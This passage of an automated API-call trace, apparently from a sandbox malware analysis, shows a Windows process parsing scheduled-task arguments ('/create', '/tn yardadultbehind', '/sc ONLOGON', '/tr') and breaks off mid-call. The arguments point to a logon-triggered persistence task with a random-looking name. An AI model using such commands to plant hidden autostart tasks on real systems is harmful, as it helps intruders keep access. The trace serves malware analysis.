(lpString="create") returned 6 [0161.852] lstrlenW (lpString="create") returned 6 [0161.852] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.852] lstrlenW (lpString="tn") returned 2 [0161.852] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.852] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|create|") returned 8 [0161.852] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tn|") returned 4 [0161.852] lstrlenW (lpString="|create|") returned 8 [0161.852] lstrlenW (lpString="|tn|") returned 4 [0161.852] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0161.852] SetLastError (dwErrCode=0x490) [0161.852] lstrlenW (lpString="?") returned 1 [0161.852] lstrlenW (lpString="?") returned 1 [0161.852] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.852] lstrlenW (lpString="tn") returned 2 [0161.852] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.852] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|?|") returned 3 [0161.852] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tn|") returned 4 [0161.852] lstrlenW (lpString="|?|") returned 3 [0161.852] lstrlenW (lpString="|tn|") returned 4 [0161.852] SetLastError (dwErrCode=0x490) [0161.852] lstrlenW (lpString="s") returned 1 [0161.852] lstrlenW (lpString="s") returned 1 [0161.852] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.852] lstrlenW (lpString="tn") returned 2 [0161.852] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.853] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|s|") returned 3 [0161.853] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tn|") returned 4 [0161.853] lstrlenW (lpString="|s|") returned 3 [0161.853] lstrlenW (lpString="|tn|") returned 4 [0161.853] SetLastError (dwErrCode=0x490) [0161.853] lstrlenW (lpString="u") returned 1 [0161.853] lstrlenW (lpString="u") returned 1 [0161.853] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.853] lstrlenW (lpString="tn") returned 2 [0161.853] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.853] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|u|") returned 3 [0161.853] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tn|") returned 4 [0161.853] lstrlenW (lpString="|u|") returned 3 [0161.853] lstrlenW (lpString="|tn|") returned 4 [0161.853] SetLastError (dwErrCode=0x490) [0161.853] lstrlenW (lpString="p") returned 1 [0161.853] lstrlenW (lpString="p") returned 1 [0161.853] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.853] lstrlenW (lpString="tn") returned 2 [0161.853] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.853] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|p|") returned 3 [0161.853] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tn|") returned 4 [0161.853] lstrlenW (lpString="|p|") returned 3 [0161.853] lstrlenW (lpString="|tn|") returned 4 [0161.853] SetLastError (dwErrCode=0x490) [0161.853] lstrlenW (lpString="ru") returned 2 [0161.854] lstrlenW (lpString="ru") returned 2 [0161.854] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.854] lstrlenW (lpString="tn") returned 2 [0161.854] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.854] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|ru|") returned 4 [0161.854] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tn|") returned 4 [0161.854] lstrlenW (lpString="|ru|") returned 4 [0161.854] lstrlenW (lpString="|tn|") returned 4 [0161.854] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0161.854] SetLastError (dwErrCode=0x490) [0161.854] lstrlenW (lpString="rp") returned 2 [0161.854] lstrlenW (lpString="rp") returned 2 [0161.854] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.854] lstrlenW (lpString="tn") returned 2 [0161.854] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.854] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rp|") returned 4 [0161.854] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tn|") returned 4 [0161.854] lstrlenW (lpString="|rp|") returned 4 [0161.854] lstrlenW (lpString="|tn|") returned 4 [0161.854] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0161.854] SetLastError (dwErrCode=0x490) [0161.854] lstrlenW (lpString="sc") returned 2 [0161.854] lstrlenW (lpString="sc") returned 2 [0161.854] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.854] lstrlenW (lpString="tn") returned 2 [0161.855] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.855] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|sc|") returned 4 [0161.855] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tn|") returned 4 [0161.855] lstrlenW (lpString="|sc|") returned 4 [0161.855] lstrlenW (lpString="|tn|") returned 4 [0161.855] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0161.855] SetLastError (dwErrCode=0x490) [0161.855] lstrlenW (lpString="mo") returned 2 [0161.855] lstrlenW (lpString="mo") returned 2 [0161.855] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.855] lstrlenW (lpString="tn") returned 2 [0161.855] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.855] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|mo|") returned 4 [0161.855] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tn|") returned 4 [0161.855] lstrlenW (lpString="|mo|") returned 4 [0161.855] lstrlenW (lpString="|tn|") returned 4 [0161.855] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0161.855] SetLastError (dwErrCode=0x490) [0161.855] lstrlenW (lpString="d") returned 1 [0161.855] lstrlenW (lpString="d") returned 1 [0161.855] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.855] lstrlenW (lpString="tn") returned 2 [0161.855] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.855] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|d|") returned 3 [0161.855] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tn|") returned 4 [0161.855] lstrlenW (lpString="|d|") returned 3 [0161.856] lstrlenW (lpString="|tn|") returned 4 [0161.856] SetLastError (dwErrCode=0x490) [0161.856] lstrlenW (lpString="m") returned 1 [0161.856] lstrlenW (lpString="m") returned 1 [0161.856] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.856] lstrlenW (lpString="tn") returned 2 [0161.856] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.856] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|m|") returned 3 [0161.856] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tn|") returned 4 [0161.856] lstrlenW (lpString="|m|") returned 3 [0161.856] lstrlenW (lpString="|tn|") returned 4 [0161.856] SetLastError (dwErrCode=0x490) [0161.856] lstrlenW (lpString="i") returned 1 [0161.856] lstrlenW (lpString="i") returned 1 [0161.856] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.856] lstrlenW (lpString="tn") returned 2 [0161.856] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.856] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|i|") returned 3 [0161.856] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tn|") returned 4 [0161.857] lstrlenW (lpString="|i|") returned 3 [0161.857] lstrlenW (lpString="|tn|") returned 4 [0161.857] SetLastError (dwErrCode=0x490) [0161.857] lstrlenW (lpString="tn") returned 2 [0161.857] lstrlenW (lpString="tn") returned 2 [0161.857] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.857] lstrlenW (lpString="tn") returned 2 [0161.857] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.857] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tn|") returned 4 [0161.857] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tn|") returned 4 [0161.857] lstrlenW (lpString="|tn|") returned 4 [0161.857] lstrlenW (lpString="|tn|") returned 4 [0161.857] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0161.857] SetLastError (dwErrCode=0x0) [0161.857] SetLastError (dwErrCode=0x0) [0161.857] lstrlenW (lpString="yardadultbehind") returned 15 [0161.857] lstrlenW (lpString="-/") returned 2 [0161.857] StrChrIW (lpStart="-/", wMatch=0x79) returned 0x0 [0161.858] SetLastError (dwErrCode=0x490) [0161.858] SetLastError (dwErrCode=0x490) [0161.858] SetLastError (dwErrCode=0x0) [0161.858] lstrlenW (lpString="yardadultbehind") returned 15 [0161.858] StrChrIW (lpStart="yardadultbehind", wMatch=0x3a) returned 0x0 [0161.858] SetLastError (dwErrCode=0x490) [0161.858] SetLastError (dwErrCode=0x0) [0161.858] lstrlenW (lpString="yardadultbehind") returned 15 [0161.859] SetLastError (dwErrCode=0x0) [0161.859] SetLastError (dwErrCode=0x0) [0161.859] lstrlenW (lpString="/sc") returned 3 [0161.859] lstrlenW (lpString="-/") returned 2 [0161.859] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.859] lstrlenW (lpString="create") returned 6 [0161.859] lstrlenW (lpString="create") returned 6 [0161.859] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.859] lstrlenW (lpString="sc") returned 2 [0161.859] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.859] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|create|") returned 8 [0161.859] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|sc|") returned 4 [0161.859] lstrlenW (lpString="|create|") returned 8 [0161.859] lstrlenW (lpString="|sc|") returned 4 [0161.859] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0161.859] SetLastError (dwErrCode=0x490) [0161.859] lstrlenW (lpString="?") returned 1 [0161.859] lstrlenW (lpString="?") returned 1 [0161.859] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.859] lstrlenW (lpString="sc") returned 2 [0161.859] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.859] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|?|") returned 3 [0161.859] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|sc|") returned 4 [0161.859] lstrlenW (lpString="|?|") returned 3 [0161.859] lstrlenW (lpString="|sc|") returned 4 [0161.859] SetLastError (dwErrCode=0x490) [0161.859] lstrlenW (lpString="s") returned 1 [0161.859] lstrlenW (lpString="s") returned 1 [0161.860] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.860] lstrlenW (lpString="sc") returned 2 [0161.860] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.860] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|s|") returned 3 [0161.860] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|sc|") returned 4 [0161.860] lstrlenW (lpString="|s|") returned 3 [0161.860] lstrlenW (lpString="|sc|") returned 4 [0161.860] SetLastError (dwErrCode=0x490) [0161.860] lstrlenW (lpString="u") returned 1 [0161.860] lstrlenW (lpString="u") returned 1 [0161.860] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.860] lstrlenW (lpString="sc") returned 2 [0161.860] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.860] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|u|") returned 3 [0161.860] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|sc|") returned 4 [0161.860] lstrlenW (lpString="|u|") returned 3 [0161.860] lstrlenW (lpString="|sc|") returned 4 [0161.860] SetLastError (dwErrCode=0x490) [0161.860] lstrlenW (lpString="p") returned 1 [0161.860] lstrlenW (lpString="p") returned 1 [0161.860] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.860] lstrlenW (lpString="sc") returned 2 [0161.860] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.860] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|p|") returned 3 [0161.860] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|sc|") returned 4 [0161.861] lstrlenW (lpString="|p|") returned 3 [0161.861] lstrlenW (lpString="|sc|") returned 4 [0161.861] SetLastError (dwErrCode=0x490) [0161.861] lstrlenW (lpString="ru") returned 2 [0161.861] lstrlenW (lpString="ru") returned 2 [0161.861] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.861] lstrlenW (lpString="sc") returned 2 [0161.861] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.861] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|ru|") returned 4 [0161.861] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|sc|") returned 4 [0161.861] lstrlenW (lpString="|ru|") returned 4 [0161.861] lstrlenW (lpString="|sc|") returned 4 [0161.861] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0161.861] SetLastError (dwErrCode=0x490) [0161.861] lstrlenW (lpString="rp") returned 2 [0161.861] lstrlenW (lpString="rp") returned 2 [0161.861] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.861] lstrlenW (lpString="sc") returned 2 [0161.861] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.861] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rp|") returned 4 [0161.861] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|sc|") returned 4 [0161.861] lstrlenW (lpString="|rp|") returned 4 [0161.861] lstrlenW (lpString="|sc|") returned 4 [0161.861] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0161.861] SetLastError (dwErrCode=0x490) [0161.861] lstrlenW (lpString="sc") returned 2 [0161.861] lstrlenW (lpString="sc") returned 2 [0161.862] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.862] lstrlenW (lpString="sc") returned 2 [0161.862] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.862] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|sc|") returned 4 [0161.862] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|sc|") returned 4 [0161.862] lstrlenW (lpString="|sc|") returned 4 [0161.862] lstrlenW (lpString="|sc|") returned 4 [0161.862] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0161.862] SetLastError (dwErrCode=0x0) [0161.862] SetLastError (dwErrCode=0x0) [0161.862] lstrlenW (lpString="ONLOGON") returned 7 [0161.862] lstrlenW (lpString="-/") returned 2 [0161.862] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0161.862] SetLastError (dwErrCode=0x490) [0161.862] SetLastError (dwErrCode=0x490) [0161.862] SetLastError (dwErrCode=0x0) [0161.862] lstrlenW (lpString="ONLOGON") returned 7 [0161.862] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0161.862] SetLastError (dwErrCode=0x490) [0161.862] SetLastError (dwErrCode=0x0) [0161.862] GetProcessHeap () returned 0x140000 [0161.862] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15d570 [0161.862] _memicmp (_Buf1=0x15d570, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.862] lstrlenW (lpString="ONLOGON") returned 7 [0161.862] GetProcessHeap () returned 0x140000 [0161.862] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x10) returned 0x15d590 [0161.862] lstrlenW (lpString="ONLOGON") returned 7 [0161.862] lstrlenW (lpString=" \x09") returned 2 [0161.862] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0161.862] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0161.863] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0161.863] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0161.863] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0161.863] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0161.863] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0161.863] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0161.863] GetLastError () returned 0x0 [0161.863] lstrlenW (lpString="ONLOGON") returned 7 [0161.863] lstrlenW (lpString="ONLOGON") returned 7 [0161.863] SetLastError (dwErrCode=0x0) [0161.863] SetLastError (dwErrCode=0x0) [0161.863] lstrlenW (lpString="/tr") returned 3 [0161.863] lstrlenW (lpString="-/") returned 2 [0161.863] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.863] lstrlenW (lpString="create") returned 6 [0161.863] lstrlenW (lpString="create") returned 6 [0161.863] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.863] lstrlenW (lpString="tr") returned 2 [0161.863] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.863] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|create|") returned 8 [0161.863] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tr|") returned 4 [0161.863] lstrlenW (lpString="|create|") returned 8 [0161.863] lstrlenW (lpString="|tr|") returned 4 [0161.863] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0161.863] SetLastError (dwErrCode=0x490) [0161.863] lstrlenW (lpString="?") returned 1 [0161.863] lstrlenW (lpString="?") returned 1 [0161.863] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.864] lstrlenW (lpString="tr") returned 2 [0161.864] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.864] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|?|") returned 3 [0161.864] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tr|") returned 4 [0161.864] lstrlenW (lpString="|?|") returned 3 [0161.864] lstrlenW (lpString="|tr|") returned 4 [0161.864] SetLastError (dwErrCode=0x490) [0161.864] lstrlenW (lpString="s") returned 1 [0161.864] lstrlenW (lpString="s") returned 1 [0161.864] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.864] lstrlenW (lpString="tr") returned 2 [0161.864] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.864] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|s|") returned 3 [0161.864] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tr|") returned 4 [0161.864] lstrlenW (lpString="|s|") returned 3 [0161.864] lstrlenW (lpString="|tr|") returned 4 [0161.864] SetLastError (dwErrCode=0x490) [0161.864] lstrlenW (lpString="u") returned 1 [0161.864] lstrlenW (lpString="u") returned 1 [0161.864] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.864] lstrlenW (lpString="tr") returned 2 [0161.864] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.864] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|u|") returned 3 [0161.864] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tr|") returned 4 [0161.864] lstrlenW (lpString="|u|") returned 3 [0161.865] lstrlenW (lpString="|tr|") returned 4 [0161.865] SetLastError (dwErrCode=0x490) [0161.865] lstrlenW (lpString="p") returned 1 [0161.865] lstrlenW (lpString="p") returned 1 [0161.865] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.865] lstrlenW (lpString="tr") returned 2 [0161.865] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.865] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|p|") returned 3 [0161.865] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tr|") returned 4 [0161.865] lstrlenW (lpString="|p|") returned 3 [0161.865] lstrlenW (lpString="|tr|") returned 4 [0161.865] SetLastError (dwErrCode=0x490) [0161.865] lstrlenW (lpString="ru") returned 2 [0161.865] lstrlenW (lpString="ru") returned 2 [0161.865] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.865] lstrlenW (lpString="tr") returned 2 [0161.865] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.865] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|ru|") returned 4 [0161.865] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tr|") returned 4 [0161.865] lstrlenW (lpString="|ru|") returned 4 [0161.865] lstrlenW (lpString="|tr|") returned 4 [0161.865] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0161.865] SetLastError (dwErrCode=0x490) [0161.865] lstrlenW (lpString="rp") returned 2 [0161.865] lstrlenW (lpString="rp") returned 2 [0161.865] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.865] lstrlenW (lpString="tr") returned 2 [0161.866] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.866] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rp|") returned 4 [0161.866] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tr|") returned 4 [0161.866] lstrlenW (lpString="|rp|") returned 4 [0161.866] lstrlenW (lpString="|tr|") returned 4 [0161.866] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0161.866] SetLastError (dwErrCode=0x490) [0161.866] lstrlenW (lpString="sc") returned 2 [0161.866] lstrlenW (lpString="sc") returned 2 [0161.866] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.866] lstrlenW (lpString="tr") returned 2 [0161.866] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.866] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|sc|") returned 4 [0161.866] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tr|") returned 4 [0161.866] lstrlenW (lpString="|sc|") returned 4 [0161.866] lstrlenW (lpString="|tr|") returned 4 [0161.866] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0161.866] SetLastError (dwErrCode=0x490) [0161.866] lstrlenW (lpString="mo") returned 2 [0161.866] lstrlenW (lpString="mo") returned 2 [0161.866] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.866] lstrlenW (lpString="tr") returned 2 [0161.866] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.866] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|mo|") returned 4 [0161.866] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tr|") returned 4 [0161.866] lstrlenW (lpString="|mo|") returned 4 [0161.866] lstrlenW (lpString="|tr|") returned 4 [0161.867] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0161.867] SetLastError (dwErrCode=0x490) [0161.867] lstrlenW (lpString="d") returned 1 [0161.867] lstrlenW (lpString="d") returned 1 [0161.867] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.867] lstrlenW (lpString="tr") returned 2 [0161.867] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.867] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|d|") returned 3 [0161.867] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tr|") returned 4 [0161.867] lstrlenW (lpString="|d|") returned 3 [0161.867] lstrlenW (lpString="|tr|") returned 4 [0161.867] SetLastError (dwErrCode=0x490) [0161.867] lstrlenW (lpString="m") returned 1 [0161.867] lstrlenW (lpString="m") returned 1 [0161.867] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.867] lstrlenW 